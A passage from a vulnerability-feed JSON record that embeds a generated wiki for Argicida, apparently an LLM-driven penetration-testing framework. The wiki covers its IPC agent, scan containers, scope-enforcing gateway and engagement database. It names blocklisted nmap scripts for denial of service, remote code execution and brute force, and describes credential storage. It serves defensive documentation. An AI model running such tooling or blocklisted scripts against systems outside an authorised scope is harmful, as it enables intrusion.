#CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.401125Z"}, {"uuid": "f265cdc7-1da7-41a6-ac19-2348d766749c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-02)", "content": "", "creation_timestamp": "2026-08-03T10:19:25.260315Z"}, {"uuid": "8f32c164-48af-47d0-821c-0f0254ceb2d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/meethune/1b264365b640a7e162f228b8ed74666a", "content": "\n\n\n\n\nArgicida \u2014 Wiki\n\n\n\n\n*{margin:0;padding:0;box-sizing:border-box}\n:root{\n  --bg:#ffffff;--sidebar-bg:#f8f9fb;--border:#e5e7eb;\n  --text:#1e293b;--text-muted:#64748b;--primary:#2563eb;\n  --primary-soft:#eff6ff;--hover:#f1f5f9;--code-bg:#f1f5f9;\n  --radius:8px;--shadow:0 1px 3px rgba(0,0,0,.08);\n}\nbody{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;\n  line-height:1.65;color:var(--text);background:var(--bg)}\n\n.layout{display:flex;min-height:100vh}\n.sidebar{width:280px;background:var(--sidebar-bg);border-right:1px solid var(--border);\n  position:fixed;top:0;left:0;bottom:0;overflow-y:auto;padding:24px 16px;\n  display:flex;flex-direction:column;z-index:10}\n.content{margin-left:280px;flex:1;padding:48px 64px;max-width:960px}\n\n.sidebar-header{margin-bottom:20px;padding-bottom:16px;border-bottom:1px solid var(--border)}\n.sidebar-title{font-size:16px;font-weight:700;color:var(--text);display:flex;align-items:center;gap:8px}\n.sidebar-title svg{flex-shrink:0}\n.sidebar-meta{font-size:11px;color:var(--text-muted);margin-top:6px}\n.nav-section{margin-bottom:2px}\n.nav-item{display:block;padding:7px 12px;border-radius:var(--radius);cursor:pointer;\n  font-size:13px;color:var(--text);text-decoration:none;transition:all .15s;\n  white-space:nowrap;overflow:hidden;text-overflow:ellipsis}\n.nav-item:hover{background:var(--hover)}\n.nav-item.active{background:var(--primary-soft);color:var(--primary);font-weight:600}\n.nav-item.overview{font-weight:600;margin-bottom:4px}\n.nav-children{padding-left:14px;border-left:1px solid var(--border);margin-left:12px}\n.nav-group-label{font-size:11px;font-weight:600;color:var(--text-muted);\n  text-transform:uppercase;letter-spacing:.5px;padding:12px 12px 4px;user-select:none}\n.sidebar-footer{margin-top:auto;padding-top:16px;border-top:1px solid var(--border);\n  font-size:11px;color:var(--text-muted);text-align:center}\n\n.content h1{font-size:28px;font-weight:700;margin-bottom:8px;line-height:1.3}\n.content h2{font-size:22px;font-weight:600;margin:32px 0 12px;padding-bottom:6px;border-bottom:1px solid var(--border)}\n.content h3{font-size:17px;font-weight:600;margin:24px 0 8px}\n.content h4{font-size:15px;font-weight:600;margin:20px 0 6px}\n.content p{margin:12px 0}\n.content ul,.content ol{margin:12px 0 12px 24px}\n.content li{margin:4px 0}\n.content a{color:var(--primary);text-decoration:none}\n.content a:hover{text-decoration:underline}\n.content blockquote{border-left:3px solid var(--primary);padding:8px 16px;margin:16px 0;\n  background:var(--primary-soft);border-radius:0 var(--radius) var(--radius) 0;\n  color:var(--text-muted);font-size:14px}\n.content code{font-family:'SF Mono',Consolas,'Courier New',monospace;font-size:13px;\n  background:var(--code-bg);padding:2px 6px;border-radius:4px}\n.content pre{background:#1e293b;color:#e2e8f0;border-radius:var(--radius);padding:16px;\n  overflow-x:auto;margin:16px 0}\n.content pre code{background:none;padding:0;font-size:13px;line-height:1.6;color:inherit}\n.content table{border-collapse:collapse;width:100%;margin:16px 0}\n.content th,.content td{border:1px solid var(--border);padding:8px 12px;text-align:left;font-size:14px}\n.content th{background:var(--sidebar-bg);font-weight:600}\n.content img{max-width:100%;border-radius:var(--radius)}\n.content hr{border:none;border-top:1px solid var(--border);margin:32px 0}\n.content .mermaid{margin:20px 0;text-align:center}\n\n.menu-toggle{display:none;position:fixed;top:12px;left:12px;z-index:20;\n  background:var(--bg);border:1px solid var(--border);border-radius:var(--radius);\n  padding:8px 12px;cursor:pointer;font-size:18px;box-shadow:var(--shadow)}\n@media(max-width:768px){\n  .sidebar{transform:translateX(-100%);transition:transform .2s}\n  .sidebar.open{transform:translateX(0);box-shadow:2px 0 12px rgba(0,0,0,.1)}\n  .content{margin-left:0;padding:24px 20px;padding-top:56px}\n  .menu-toggle{display:block}\n}\n.empty-state{text-align:center;padding:80px 20px;color:var(--text-muted)}\n.empty-state h2{font-size:20px;margin-bottom:8px;border:none}\n\n\n\n\n☰\n\n\n\n\n\n\n\n\n\nArgicida\n\n\n\n\n\n\n\nGenerated by GitNexus\n\n\n\n\n\nLoading\u2026\n\n\n\nvar PAGES = {\"container-agent\":\"# Container Agent\\n\\n# Container Agent (`argicida_agent`)\\n\\nThe container agent is a minimal process that runs inside the Argicida tool pod. It listens on a Unix socket, authenticates incoming connections from the host, and executes security tool binaries on demand. It never decides *what* to run \u2014 it only executes commands it receives and streams results back.\\n\\nThis is one of three workspace packages. It depends only on `argicida_common` (for IPC protocol types and constants) and `msgspec` (for serialization). No Podman, no Pydantic, no network libraries \u2014 keeping the attack surface inside the container as small as possible.\\n\\n## How It Fits Together\\n\\n```mermaid\\ngraph LR\\n    Host[\\\"Host (Hermes + argicida plugin)\\\"] -->|Unix socket| Agent[\\\"Container Agent\\\"]\\n    Agent -->|create_subprocess_exec| Nmap[nmap]\\n    Agent -->|create_subprocess_exec| Nuclei[nuclei]\\n    Agent -->|create_subprocess_exec| Tools[\\\"...other tools\\\"]\\n```\\n\\nThe host-side `IpcClient` connects to the agent's Unix socket, authenticates with HMAC, and sends `IpcCommand` messages. The agent resolves the requested tool to a binary on `$PATH`, runs it via `asyncio.create_subprocess_exec`, captures stdout/stderr, and returns an `IpcResponse`. One connection can carry many sequential commands.\\n\\n## Entrypoint (`__main__.py`)\\n\\n`python3 -m argicida_agent [--socket /ipc/agent.sock]`\\n\\nStartup does three things:\\n\\n1. **Reads the session key** from `ARGICIDA_SESSION_KEY` (hex-encoded, 32 bytes). Exits immediately if missing, malformed, or wrong length \u2014 there is no unauthenticated mode.\\n\\n2. **Builds the allowed-tools map** from `argicida_common.constants.TOOL_NAMES`, a dict mapping logical tool names (e.g., `\\\"nmap\\\"`) to binary names (e.g., `\\\"nmap\\\"`). The agent will refuse to execute anything not in this map.\\n\\n3. **Starts `AgentServer`** on the socket path and blocks on `serve_forever()`. Cleanup runs in a `finally` block \u2014 the server stops and the socket file is removed.\\n\\nThe default socket path `/ipc/agent.sock` lives on a bind-mounted directory shared with the host. The container entrypoint script launches this module after other setup (Chromium CDP, config copying) completes.\\n\\n## IPC Server (`ipc/server.py`)\\n\\n`AgentServer` manages the Unix socket listener, connection lifecycle, authentication, and command dispatch.\\n\\n### Connection Lifecycle\\n\\nEach inbound connection goes through:\\n\\n1. **Admission** \u2014 rejected immediately if `_active_connections >= MAX_CONNECTIONS`.\\n2. **Authentication** \u2014 HMAC challenge-response within `AUTH_TIMEOUT_S`.\\n3. **Command loop** \u2014 sequential command execution until the client disconnects or `COMMAND_IDLE_TIMEOUT_S` elapses between commands.\\n\\nConnections are handled as `asyncio.Task`s tracked in `_tasks`, so `stop()` can cancel all in-flight work.\\n\\n### Authentication\\n\\nThe agent generates a random nonce (`IPC_NONCE_SIZE` bytes) and sends it as an `IpcAuthChallenge`. The client must reply with an `IpcAuthResponse` containing a valid HMAC digest computed over the nonce using the shared session key. On failure, the connection is dropped with a `ProtocolError`.\\n\\nThis proves the client holds the same session key that was injected into the container's environment at pod creation \u2014 a connection from an unrelated process (or a different pod) will fail.\\n\\n### Command Loop\\n\\nAfter authentication, the server enters a receive-execute-respond loop. Each iteration:\\n\\n1. Calls `recv_message()` to read and verify the next `IpcCommand` (HMAC-verified, with a monotonically increasing sequence number to prevent replay).\\n2. Passes the command to `execute_command()`.\\n3. Sends the `IpcResponse` back via `send_message()` (also HMAC-signed with the same sequence number).\\n\\nCommands are processed sequentially per connection. The host-side `IpcClient` is per-thread, so parallel tool calls from Hermes each get their own connection and sequence counter.\\n\\n### Socket Permissions\\n\\nThe socket must be accessible across the rootless Podman UID namespace boundary \u2014 the host runs as one UID, the container agent as another. `start()` sets the parent directory to `0o777` and creates the socket with `umask(0o000)`. Both `start()` and `stop()` check for symlinks before touching the socket path.\\n\\n## Command Executor (`executor/runner.py`)\\n\\n`execute_command()` is a pure async function: `IpcCommand` in, `IpcResponse` out. It never raises \u2014 all error conditions produce an `IpcResponse` with `exit_code=-1` and a descriptive `error` field.\\n\\n### Validation Steps\\n\\n1. **Tool allowlist** \u2014 rejects tools not in `allowed_tools`.\\n2. **Environment validation** \u2014 calls `validate_ipc_command_env()` to block dangerous environment variables (prevents the host from injecting `LD_PRELOAD`, `PATH` overrides, etc.).\\n3. **Binary resolution** \u2014 uses `shutil.which()` to find the binary on `$PATH`. Fails explicitly if missing.\\n\\n### Execution\\n\\nThe binary runs via `asyncio.create_subprocess_exec` \u2014 never `shell=True`. If the command specifies environment variables (`cmd.env`), they are merged into the current environment (not replacing it, so tool binaries can still find shared libraries and configs).\\n\\nA `wait_for` wrapper enforces `cmd.timeout_s`. On timeout, the process is killed and an error response is returned.\\n\\n### Output Truncation\\n\\nstdout and stderr are capped at `MAX_IPC_STDOUT_SIZE` and `MAX_IPC_STDERR_SIZE` respectively. Truncation happens at the byte level, then the result is decoded with `errors=\\\"replace\\\"`. A post-decode check handles the edge case where `U+FFFD` replacement characters push the UTF-8 encoded length past the limit \u2014 the last character is trimmed. A defensive `RuntimeError` fires if truncation logic ever fails to maintain the invariant.\\n\\nWhen truncation occurs, the `error` field in the response describes what was truncated. The host stores full output to disk separately via the lossless output storage system, so truncation only affects what travels over IPC.\\n\\n## Key Constants (from `argicida_common`)\\n\\n| Constant | Purpose |\\n|---|---|\\n| `IPC_HMAC_KEY_SIZE` | Required session key length (32 bytes) |\\n| `IPC_NONCE_SIZE` | Authentication challenge nonce size |\\n| `MAX_CONNECTIONS` | Concurrent connection cap |\\n| `AUTH_TIMEOUT_S` | Time limit for HMAC handshake |\\n| `COMMAND_IDLE_TIMEOUT_S` | Inactivity timeout between commands |\\n| `MAX_IPC_STDOUT_SIZE` | Byte cap on stdout in IPC response |\\n| `MAX_IPC_STDERR_SIZE` | Byte cap on stderr in IPC response |\\n| `TOOL_NAMES` | Canonical map of tool name \u2192 binary name |\\n\\n## Security Properties\\n\\n- **No shell execution.** All subprocesses use `create_subprocess_exec` with explicit argument lists.\\n- **Closed tool set.** Only binaries listed in `TOOL_NAMES` can be invoked. The map is compiled into the package, not configurable at runtime.\\n- **Authenticated IPC.** Every connection must pass HMAC challenge-response. Every command and response is individually HMAC-signed with a sequence counter (replay protection).\\n- **Environment sanitization.** `validate_ipc_command_env()` blocks dangerous variable names before they reach the subprocess.\\n- **Symlink rejection.** Socket path is checked for symlinks before creation and removal.\\n- **No decisions.** The agent does not interpret tool output, choose targets, or sequence operations. It is a subprocess executor with an authenticated transport \u2014 nothing more.\",\"container-build-infrastructure\":\"# Container Build Infrastructure\\n\\n# Container Build Infrastructure\\n\\nArgicida runs all scan tools inside rootless Podman containers, isolated from the host by a dual-bridge network topology. Three container images make up the runtime:\\n\\n- **argicida-tools** \u2014 the tool pod where scans execute\\n- **argicida-gateway** \u2014 the routing chokepoint that enforces network scope\\n- **argicida-zap** \u2014 the ZAP passive/active proxy sidecar\\n\\nAll three are built from files under `containers/`. None of these containers run standalone \u2014 they are orchestrated by `pod/launcher.py` at runtime.\\n\\n```mermaid\\ngraph LR\\n    Host[\\\"Host (Hermes + Plugin)\\\"]\\n    Host -- \\\"Unix socket /ipc/agent.sock\\\" --> Tools[\\\"argicida-tools\\\"]\\n    Tools -- \\\"all egress\\\" --> GW[\\\"argicida-gateway\\\"]\\n    GW -- \\\"FORWARD chain\\\" --> Target[\\\"Target Network\\\"]\\n    Tools -. \\\"proxy port 8090\\\" .-> ZAP[\\\"argicida-zap\\\"]\\n    ZAP -- \\\"egress\\\" --> GW\\n```\\n\\n## Build Commands\\n\\n```bash\\n# Tool container (standard build)\\npodman build -f containers/Containerfile -t argicida-tools:dev .\\n\\n# Gateway (lightweight Alpine)\\npodman build -f containers/Containerfile.gateway -t argicida-gateway:dev .\\n\\n# ZAP sidecar (--network=private required: ZAP binds 8080 during add-on install)\\npodman build --network=private -f containers/Containerfile.zap -t argicida-zap:dev .\\n```\\n\\nThe `--network=private` flag on the ZAP build is not optional. ZAP's `-cmd` mode binds port 8080 during add-on installation. Without private networking, the build shares the host network namespace and fails if anything else holds port 8080.\\n\\n---\\n\\n## Tool Container (`Containerfile`)\\n\\n### Two-Stage Build\\n\\n**Stage 1 (`alpine:3.21`, pinned by digest)** downloads and verifies Go binaries, nuclei templates, and SecLists wordlists. Every download has a hardcoded SHA256 checksum \u2014 checksums are NOT fetched from the same origin as the binary (that would be pointless).\\n\\n**Stage 2 (`kalilinux/kali-rolling`, pinned by digest)** assembles the runtime image with system packages, the verified binaries, the Python agent, and tool configs.\\n\\nThe stage split is deliberate: code changes to `argicida_agent` or `argicida_common` only invalidate the later `COPY` + `pip install` layers, not the expensive binary download stage.\\n\\n### Pinned Versions\\n\\nAll tool versions are declared as `ARG` variables at the top of the Containerfile:\\n\\n| Tool | Version | Source |\\n|------|---------|--------|\\n| nuclei | 3.10.0 | ProjectDiscovery |\\n| subfinder | 2.14.0 | ProjectDiscovery |\\n| httpx | 1.9.0 | ProjectDiscovery |\\n| naabu | 2.6.1 | ProjectDiscovery |\\n| dnsx | 1.2.3 | ProjectDiscovery |\\n| katana | 1.1.1 | ProjectDiscovery |\\n| usql | 0.21.4 | xo/usql |\\n| ffuf | 2.1.0 | ffuf |\\n| mongosh | 2.9.2 | mongodb-js |\\n| nuclei-templates | 10.4.5 | ProjectDiscovery |\\n| SecLists | 2026.1 | danielmiessler |\\n\\n**To upgrade a tool:** change the `ARG` version, update the corresponding SHA256 checksum in the `sha256sum -c` block, rebuild. Both values must change together \u2014 a version bump without a checksum update is a build failure, not a security bypass.\\n\\n### System Packages (from Kali)\\n\\nInstalled via `apt-get` in a single layer: `python3`, `python3-pip`, `nmap`, `iputils-tracepath`, `chromium`, `openssh-client`, `smbclient`, `sshpass`, `redis-tools`, `rpcbind`, `curl`.\\n\\n### NSE Script Blocklist\\n\\nThe file `containers/nse-blocklist.txt` lists nmap NSE scripts removed at build time. Scripts are blocked by what they do, not by nmap's category system (which is too coarse \u2014 `\\\"intrusive\\\"` includes both harmless enumeration and remote code execution).\\n\\nFive categories of blocked scripts:\\n\\n- **Denial of Service** \u2014 `broadcast-avahi-dos`, `http-slowloris`, `smb-flood`, etc.\\n- **Remote Code Execution** \u2014 `smb-psexec`, `ssh-run`, `jdwp-exec`, etc.\\n- **Fuzzing** \u2014 `dns-fuzz`, `http-form-fuzzer`\\n- **Data exfiltration** \u2014 `http-exif-spider`\\n- **Brute force** \u2014 all `*-brute` scripts (60+ scripts). Dedicated tools handle credential testing under operator control.\\n- **Dangerous network manipulation** \u2014 `dns-update`, `firewall-bypass`, `sip-call-spoof`, etc.\\n\\nAfter removal, the build runs `nmap --script-updatedb` to regenerate the script database, then verifies no blocked scripts survived. If any remain, the build fails hard.\\n\\nThe blocklist must stay in sync with the `_NSE_BLOCKED_SCRIPTS` set in `tools/normalizers_nmap.py` \u2014 the `NseScriptMatcher` normalizer uses that set to reject blocked script names before they reach the container.\\n\\n### ProjectDiscovery Tool Configs\\n\\nConfig files are baked into `/opt/pd-config/` at build time:\\n\\n| File | Baked to | Purpose |\\n|------|----------|---------|\\n| `nuclei-config.yaml` | `/opt/pd-config/nuclei/config.yaml` | Template paths, interactsh disabled, CDP endpoint, timeouts |\\n| `naabu-config.yaml` | `/opt/pd-config/naabu/config.yaml` | Rate 2000, concurrency 50, full port scan |\\n| `dnsx-config.yaml` | `/opt/pd-config/dnsx/config.yaml` | Retry 2, show responses |\\n| `katana-config.yaml` | `/opt/pd-config/katana/config.yaml` | Disable update check |\\n\\nThese are NOT the runtime config paths. The entrypoint copies them to `$HOME/.config//` at container startup because the rootfs is read-only and `$HOME` is a tmpfs. `XDG_CONFIG_HOME` is intentionally NOT set as a runtime `ENV` \u2014 Chromium inherits it and tries to write crash data there.\\n\\n### Nuclei Templates\\n\\nTemplates are pinned to release tag `v10.4.5` with a hardcoded SHA256. They live at `/opt/nuclei-templates/` (not under `$HOME` \u2014 that path is tmpfs and overlays baked content). The `nuclei-config.yaml` points `templates:` to this path.\\n\\nA custom screenshot template (`containers/screenshot.yaml`) is added at `/opt/nuclei-templates/argicida/screenshot.yaml` for headless page capture via the CDP endpoint.\\n\\n### SecLists Wordlists\\n\\nA curated subset of SecLists is downloaded at build time into `/usr/share/seclists/`:\\n\\n- `Discovery/Web-Content/` \u2014 `common.txt`, `big.txt`, `raft-medium-directories.txt`, `raft-medium-files.txt`, `directory-list-2.3-medium.txt`, `common-api-endpoints-mazen160.txt`, `burp-parameter-names.txt`\\n- `Discovery/DNS/` \u2014 `subdomains-top1million-5000.txt`, `subdomains-top1million-20000.txt`\\n- `Passwords/Common-Credentials/` \u2014 `10k-most-common.txt`\\n\\n### Non-Root Agent User\\n\\nThe container creates a `agent` user (UID 10000) and runs the entrypoint as that user. The IPC directory `/ipc` is owned by this user. At runtime, the host bind-mounts its IPC tempdir over `/ipc` with `U`/`chown` flags so UID 10000 inside the container can write to it.\\n\\n### Healthcheck\\n\\nVerifies the agent is accepting connections by attempting a Unix socket connect to `/ipc/agent.sock`. Runs every 30s with a 5s timeout and 3 retries.\\n\\n---\\n\\n## Tool Container Entrypoint (`entrypoint.sh`)\\n\\nThe entrypoint runs four phases before starting the agent:\\n\\n**1. Config staging** \u2014 copies PD tool configs from `/opt/pd-config/` to `$HOME/.config/`. Also copies `.nuclei-ignore` from the template directory to the nuclei config directory (nuclei expects it in the config dir, not the template dir).\\n\\n**2. ZAP CA trust** \u2014 if `/etc/argicida/zap-ca.pem` exists (mounted by `pod/launcher.py` when ZAP is active), it appends the ZAP CA certificate to the system CA bundle and sets `SSL_CERT_FILE` + `REQUESTS_CA_BUNDLE` so all HTTPS traffic from tools trusts the ZAP intercepting proxy.\\n\\n**3. Chromium CDP** \u2014 launches a persistent headless Chromium instance on port 9222 with `--headless=new`. When ZAP is active, Chromium is configured with `--proxy-server=http://127.0.0.1:8090` so headless crawl traffic (from katana, nuclei) flows through ZAP for passive analysis. The entrypoint waits up to 10 seconds for CDP readiness, then resolves the full WebSocket URL (including the dynamic GUID), patches it into the nuclei config, and writes it to `/ipc/cdp-endpoint` (0o644) for host-side normalizers to read.\\n\\n**4. Agent start** \u2014 `exec python3 -m argicida_agent --socket /ipc/agent.sock`. The `exec` replaces the shell process so signals propagate correctly.\\n\\n---\\n\\n## Gateway Container (`Containerfile.gateway`)\\n\\nA minimal Alpine image with five packages: `nftables`, `dnsmasq-dnssec-nftset`, `wireguard-tools`, `openvpn`, `iproute2`.\\n\\nThree operating modes controlled by `GATEWAY_VPN_MODE` env var:\\n\\n| Mode | Behavior |\\n|------|----------|\\n| `direct` (default) | nftables scope enforcement only, `sleep infinity` |\\n| `wireguard` | WireGuard tunnel + nftables, `sleep infinity` |\\n| `openvpn` | OpenVPN tunnel + nftables, monitor tunnel process |\\n\\n### Gateway Entrypoint (`gateway-entrypoint.sh`)\\n\\n**Phase 1: nftables** \u2014 loads scope rules from `/etc/argicida/scope-rules.nft` (bind-mounted by the host from `scope_dir`). Validates syntax with `nft -c` before applying. Refuses to start if no rules file exists \u2014 this is the fail-closed guarantee.\\n\\n**Phase 2: dnsmasq** \u2014 if `/etc/argicida/dnsmasq-scope.conf` is present, starts dnsmasq as the DNS forwarder on the internal network interface. The tool pod's `resolv.conf` points to the gateway IP (`10.89.1.2`).\\n\\n**Phase 3: VPN** \u2014 starts the configured tunnel or sleeps. OpenVPN mode monitors the tunnel process and exits the gateway if it dies, triggering pod restart (fail-closed on tunnel loss).\\n\\n### Healthcheck\\n\\nChecks that the `inet argicida forward` nftables chain exists and is loadable. If scope enforcement is not running, the container is unhealthy.\\n\\n---\\n\\n## ZAP Sidecar (`Containerfile.zap`)\\n\\nBuilt from `ghcr.io/zaproxy/zaproxy:2.17.0` (the stable full image, not `:bare` which lacks version-pinned tags).\\n\\n### Add-on Installation\\n\\nSix add-ons are installed beyond the base image bundle via `zap.sh -cmd -addoninstall`:\\n\\n- `reports`, `scanpolicies`, `openapi`, `client` \u2014 functional extensions\\n- `ascanrulesBeta` \u2014 adds backup file disclosure, CORS, SSRF, NoSQL injection, session fixation, and other active scan rules\\n- `ascanrulesAlpha` \u2014 adds LDAP injection, SQLite SQLi, web cache deception\\n- `wappalyzer` \u2014 technology fingerprinting (used by `zap_intel` tool)\\n\\n### JVM Heap Sizing (`zap-entrypoint.sh`)\\n\\nZAP's `zap.sh` reads `$HOME/.ZAP/.ZAP_JVM.properties` for JVM flags. Without this file, it falls back to `/proc/meminfo` which reports HOST memory \u2014 wrong inside a container. The ZAP entrypoint reads the cgroup v2 memory limit from `/sys/fs/cgroup/memory.max` (populated by Podman), calculates 75% as `-Xmx`, writes it to `.ZAP_JVM.properties`, then `exec`s `zap.sh`. Falls back to 2048MB if the limit is unreadable or `\\\"max\\\"` (unlimited).\\n\\n---\\n\\n## SSH Key Helper (`ssh-key-wrap`)\\n\\nA Python script installed at `/usr/local/bin/ssh-key-wrap`. Solves a specific cross-namespace permission problem: the IPC directory uses 0o644 for files (required for cross-UID-namespace access), but SSH requires 0o600 on identity files.\\n\\nThe helper copies the key from the IPC path to `/tmp/argicida-ssh-key.pem` with 0o600 permissions, then `os.execvp`s into `ssh` with the corrected key path. The fixed output path means successive calls overwrite rather than accumulate \u2014 cleanup is impossible since `execvp` replaces the process, but the container's tmpfs is destroyed at pod teardown.\\n\\n---\\n\\n## How This Connects to the Runtime\\n\\nThe host-side code that orchestrates these containers lives in `pod/launcher.py`. Key integration points:\\n\\n- `launch_pod()` creates the dual-bridge network topology, starts the gateway first, waits for its FORWARD chain, then creates the tool pod on the internal network only\\n- `scope/netfilter.py` generates the nftables ruleset that gets bind-mounted into the gateway at `/etc/argicida/scope-rules.nft`\\n- `tools/normalizers_nmap.py` maintains `_NSE_BLOCKED_SCRIPTS` which must match `containers/nse-blocklist.txt`\\n- `tools/normalizers_katana.py` reads `/ipc/cdp-endpoint` (written by the tool entrypoint) to inject `-chrome-ws-url` into katana invocations\\n- Tool definitions in `tools/defs/` reference binary names that must exist in the tool container (e.g., `BINARY_NAME = \\\"nuclei\\\"`)\\n- The `PodSession` object tracks all topology resources and drives teardown via `cleanup_topology_by_name()`\",\"engagement-database\":\"# Engagement & Database\\n\\n# Engagement & Database\\n\\nThe engagement database is the persistence backbone for Argicida's penetration testing sessions. It stores everything the LLM and operator produce during an engagement: scope definitions, scan findings, discovered assets, credential fragments, evidence chains, and VPN configuration. All state lives in a single encrypted SQLite file at `$HERMES_HOME/argicida/engagements/engagements.db`, accessed through APSW for thread-safe concurrent use from Hermes's parallel tool dispatch.\\n\\n## Store Architecture\\n\\n`EngagementStore` (`db/store.py`) is the public facade. It owns the APSW connection and delegates domain-specific persistence to five focused repositories, each sharing the same connection:\\n\\n```\\nEngagementStore\\n\u251c\u2500\u2500 .assets:      AssetRepo         # IP-anchored host registry\\n\u251c\u2500\u2500 .findings:    FindingRepo       # Scan results with dedup + triage\\n\u251c\u2500\u2500 .credentials: CredentialRepo    # Validated creds, principals, secrets\\n\u251c\u2500\u2500 .evidence:    EvidenceRepo      # Hash-chained audit trail\\n\u2514\u2500\u2500 .vpn:         VpnRepo           # WireGuard/OpenVPN config references\\n```\\n\\nCallers access sub-repos directly \u2014 `store.assets.upsert_asset(eid, ip)`, `store.findings.add_finding(eid, finding)` \u2014 while engagement-level CRUD (create, get, list, rename, lock/unlock, update phase/scope) stays on the store itself.\\n\\nThe store constructor enforces security invariants before any data touches disk:\\n- Rejects symlinks at the DB path via `O_NOFOLLOW` (TOCTOU-safe)\\n- Sets `0o600` on the file and `0o700` on the parent directory\\n- Enables WAL mode, foreign keys, and a 5-second busy timeout\\n- Runs schema creation followed by `_migrate_schema()` for forward compatibility\\n\\n### Transactions\\n\\nWrap multiple operations in `store.transaction()` for atomicity. Nested calls use SQLite SAVEPOINTs automatically via APSW's connection manager. Pass `immediate=True` when write contention is expected (the locking path uses this internally).\\n\\n```python\\nwith store.transaction():\\n    asset_id = store.assets.upsert_asset(eid, \\\"10.0.0.1\\\")\\n    store.assets.add_port(asset_id, 22, \\\"tcp\\\", service=\\\"ssh\\\")\\n    store.assets.add_hostname(asset_id, \\\"target.local\\\", source=\\\"dnsx\\\")\\n```\\n\\n### Async Bridge\\n\\nTool handlers run in Hermes's async event loop but APSW is synchronous. The store provides `async_get_engagement()`, `async_get_findings()`, and `async_get_chain_entries()` \u2014 thin `asyncio.to_thread()` wrappers. Don't add more unless a hot path demands it; most callers already run on worker threads via Hermes's `_run_async()`.\\n\\n### Encryption\\n\\n`load_or_generate_db_key()` (`db/encryption.py`) creates a 32-byte random key at `$HERMES_HOME/argicida/keys/db.key` on first use, with `0o600` permissions and atomic write (mkstemp \u2192 rename). The key feeds APSW's SQLite3 Multiple Ciphers via `PRAGMA hexkey`. Symlinks at the key path are rejected.\\n\\n## Engagement Lifecycle\\n\\n```mermaid\\nstateDiagram-v2\\n    [*] --> Unbound\\n    Unbound --> Bound[\\\"Bound:\\\"] bind_engagement()\\n    Bound --> Unbound[\\\"Unbound:\\\"] unbind_engagement()\\n    Bound --> Bound[\\\"Bound:\\\"] bind_engagement() [auto-unbinds previous]\\n```\\n\\nEngagements are created via `store.create_engagement(scope, name)` (typically from the `/scope` slash command or `argicida_scope_define` tool). Binding attaches an engagement to the current Hermes session, making it the active target for all tool calls.\\n\\n### bind_engagement()\\n\\n`engagement/lifecycle.py:bind_engagement()` orchestrates the full bind sequence:\\n\\n1. **Auto-unbind** \u2014 if another engagement is already bound, unbinds it first (signs the evidence chain, unlocks, clears state)\\n2. **Lookup** \u2014 resolves by name via `store.get_engagement_by_name()`\\n3. **Delegate to `EngagementSession.bind()`** \u2014 which handles locking, artifact directory creation, key loading, evidence chain seeding, and `last_bound_at` update\\n4. **Replay hostname mappings** \u2014 iterates the asset registry and calls `add_host_entry(hostname, ip)` to repopulate dnsmasq in the gateway container, so DNS resolution from previous sessions is immediately available\\n5. **Backfill assets** \u2014 if the asset registry is empty but findings exist (legacy data), extracts IP addresses from finding targets and creates asset stubs\\n\\nThe `add_host_entry` callback is optional for testability but required in production \u2014 without it, hostname resolution from prior sessions won't work until the tools rediscover them.\\n\\n### EngagementSession\\n\\n`engagement/session.py:EngagementSession` is a dataclass that owns all resources created during binding:\\n\\n| Field | Purpose |\\n|---|---|\\n| `engagement_id` | UUID of the bound engagement |\\n| `signing_key` | Ed25519 private key for evidence chain signatures |\\n| `public_key` | Corresponding public key (stored alongside findings) |\\n| `artifacts_dir` | `$HERMES_HOME/argicida/artifacts//` (0o700) |\\n\\n`EngagementSession.bind()` is the atomic resource-acquisition method. If any step after locking fails (directory creation, key loading, chain seeding), it unlocks the engagement before re-raising \u2014 no leaked locks.\\n\\n### Locking\\n\\n`store.lock_engagement(eid, session_id)` uses an IMMEDIATE transaction to prevent concurrent binds. A lock held by a different session is honored for 12 hours (`_STALE_LOCK_SECONDS`), after which it's considered stale and overwritten. The same session can re-lock freely (idempotent rebind).\\n\\n### unbind_engagement()\\n\\nSigns the evidence chain with the session's Ed25519 key, persists the signature count and blob to `chain_signatures`, unlocks the engagement, clears `state.engagement_session`, and resets the in-memory chain. Each step is independently try/excepted \u2014 unbind must not fail halfway and leave state inconsistent.\\n\\n## Sub-Repositories\\n\\n### AssetRepo (`db/asset_repo.py`)\\n\\nIP-anchored asset model tracking hosts, their ports, hostnames, and enumeration progress. Every asset is identified by its IP address within an engagement (unique index on `(engagement_id, ip)`).\\n\\n**Coverage state machine** \u2014 tracks how thoroughly each host has been enumerated:\\n\\n```mermaid\\nstateDiagram-v2\\n    discovered --> ports_scanned\\n    ports_scanned --> hostnames_probed\\n    hostnames_probed --> vgroups_identified\\n    vgroups_identified --> enumerated\\n```\\n\\nTransitions are forward-only via `update_coverage_state()`. However, discovering new ports or hostnames _resets_ coverage backward via `_reset_coverage_if_needed()` \u2014 if a new port appears on a host that was already at `vgroups_identified`, coverage drops back to `ports_scanned` because the new port hasn't been through the later stages.\\n\\n**Vhost fingerprinting** \u2014 `compute_vhost_groups()` groups hostnames by their structural fingerprint (status code, content-length, headers from httpx), assigning a UUID per distinct group. This identifies which hostnames are aliases for the same application vs. distinct virtual hosts. Groups are only regenerated when the fingerprint-to-hostname mapping actually changes.\\n\\n**Target resolution** \u2014 `resolve_target(eid, target)` accepts an IP or hostname and returns the asset ID. Normalizes the target first (strips URL schemes, ports, paths via `normalize_target()`), tries IP lookup, then falls back to hostname table join. Used by the coverage map builder and finding linker.\\n\\n### FindingRepo (`db/finding_repo.py`)\\n\\nStores scan findings with deduplication and triage-level promotion. Each finding is stored as a JSON blob alongside extracted metadata columns for query performance.\\n\\n**Deduplication** \u2014 `_finding_dedup_key()` generates a key from `target:port:cve_id` (preferred) or `target:port:title`. When a duplicate arrives, the triage level is compared \u2014 `critical > interesting > noise` \u2014 and the stored finding is upgraded if the new one has higher severity. This means re-scanning a host with a better scanner won't create duplicate entries but will promote findings that were previously classified as noise.\\n\\n**Query API** \u2014 `query_findings()` supports filtering by target, severity, triage level, tool, 